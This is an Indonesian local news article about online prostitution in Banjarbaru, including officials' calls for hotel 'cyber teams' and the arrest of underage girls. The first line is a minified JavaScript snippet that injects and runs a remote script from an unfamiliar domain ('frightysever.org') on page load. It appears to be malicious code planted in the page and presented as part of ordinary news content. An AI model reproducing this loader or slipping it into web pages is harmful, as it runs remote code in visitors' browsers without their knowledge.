(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Maraknya kasus prostitusi online di Banjarbaru menjadi sorotan. Pemko Banjarbaru mendorong pemilik penginapan maupun hotel membentuk ‘tim cyber’ untuk mengendus praktek bisnis esek-esek melalui transaksi di sosial media.
Kurun beberapa pekan ini saja, sejumlah terduga pelaku berhasil diciduk tim Satpol PP Banjarbaru di sejumlah lokasilewat razia. Mulai yang berumur, hingga masih dibawah umur. Praktek tersebut biasanya mereka lakukan di tempat penginapan hingga hotel.
Gagasan agar pemilik penginapan dan hotel di Banjarbaru memilik ‘tim cyber’ anti prostitusi online ini disampaikan Wakil Walikota Banjarbaru, Darmawan Jaya Setiawan. Ia menyayangkan, sektor pembangunan berupa hotel yang saat ini terus ditingkatkan, justru dimanfaatkan para PSK untuk menjajakan diri.
“Memang sangat disayangkan prostusi online menggrogoti kota Banjarbaru. Padahal kita sudah sering mengingatkan para pemilik hotel maupun penginapan untuk lebih mengantisiapsi adanya bisnis asusila tersebut,” katanya. (Baca: Lika-liku Hotel Mengendus Prostitusi Online, Ini Gelagat ‘Tamu’ yang Dicurigai...)
Ya, beberapa waktu lalu masyarakat sempat dihebohkan dengan tangkapan Satpol PP Kota Banjarbaru terhadap dua PSK dibawah umur di penginapan “Saudara” di Jalan A Yani Km 33,33. Mirisnya lagi, kedua wanita belia ini bukan warga asli kota Banjarbaru. (Baca: ‘Dipesan’ Via MiChat, Tes Urine 2 Terduga PSK Anak Terpapar Narkotika)
Bisnis esek-esek yang memanfaatkan jejaring sosial media ini memang telah lama diketahui khalayak ramai. Tentu para penegak hukum seperti halnya Polisi maupun Satpol PP juga tidak tinggal diam. Sejumlah upaya dilakukan baik itu razia hingga undercover (penyamaran) untuk memberantas prostitusi online. Meski begitu, faktanya geliat prostitusi online masih marak terjadi di sejumlah kota-kota besar.
Oleh karenanya, kata Darmawan, seharusnya ada inisiatif dari pihak hotel maupun penginapan untuk mengantisipasi masuknya para PSK. Sepertinya halnya, salah satu hotel di Banjarbaru yang membuat tim khusus untuk mengetahui para PSK yang sedang berjualan.
“Hotel Roditha itu memiliki tim cyber. Jadi mereka mengetahui para PSK di sosial media tertentu sedang berada di Hotel mereka. Jadi, kalau memang kedapatan sedang berjualan, akan disuruh pihak hotel untuk keluar. Kita harapkan seluruh hotel di Banjarbaru juga begitu,” cerita Wakil Walikota Banjarbaru.
Selain inisiatif dari pihak hotel, perlu juga disoroti  hukuman yang diberikan kepada para PSK selama ini. Dari catatannya, PSK di kota Banjarbaru yang tertangkap akan menjalani sidang Tindak Pidana Ringan (Tipiring) di Pengadilan Negeri Banjarbaru. Rata-rata, mereka yang tebukti bersalah menjalani bisnis prostitusi dikenakan hukuman kurungan tiga bulan dengan masa percobaan satu tahun.
Wakil Ketua DPRD Kota Banjarbaru, Wartono, menuturkan bahwa hukuman yang diberikan selama ini tidak memberikan efek jera kepada para PSK. Maka, tidak heran petugas biasanya akan menemukan PSK yang sama.
“Sebenarnya dengan hukuman seperti itu, menurut saya sangat ringan. Saya liat 80 persen dari kasus itu biasanya hukumannya masa percobaan saja. Seharusnya diperberat lagi, misalnya dimasukan ke penjara selama tiga bulan,” tandasnya.
Sebelumnya juga, tiga PSK yang menjanjakan diri secara online yang diamankan, pada Selasa (9/7) lalu. sat Pol PP Banjarbaru H.Marhain Rahman,S.Sos,M.AP melalui PPNS Yanto Hidayat,SE mengatakan penangkapan didahului dengan Undercover Tim Elang petugas Seksi Opsdal yang menjadi pria hidung belang. “Ketiganya mengakui telah melakukan aktivitas prostitusi itu melalui media WeChat,” katanya.
Memang sangat disayangkan para remaja yang seharusnya di usia muda ini menekuni bangku pendidikan justru malah terlibat dalam masalah bisnis orang dewasa. Apalagi, kedua terduga PSK yakni RF dan MH saat ini sudah putus sekolah. Mirisnya, kedua wanita di bawah umur ini rupanya bukan warga kota Banjarbaru melainkan tinggal di Banjarmasin.
Dinas Pengendalian Penduduk Keluarga Berencana Pemberdayaan Masyarakat Perempuan dan Perlindungan Anak (Disdalduk KB PMP dan PA) Kota Banjarbaru, melalui Kasi PPA, Fahrina, menjelaskan pihaknya akan melakukan pendampingan dan bimbingan kepada para remaja tersebut. Ia juga menerangkan akan melakukan koordinasi dengan Dinas Pendidikan Provinsi Kalsel untuk mendapat arahan lebih lanjut.
“Ini pertama kalinya di tahun 2019, PSK dibawah umur ditemukan. Kita akan lakukan pendampingan dan pembinaan selama 3 hari ke depan sembari menunggu hasil dari BNN. Kita juga akan memanggil orang tua mereka. Saat ini mereka kita titipkan ke Rumah Singgah milik Dinsos Banjarbaru,†katanya.(rico)
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.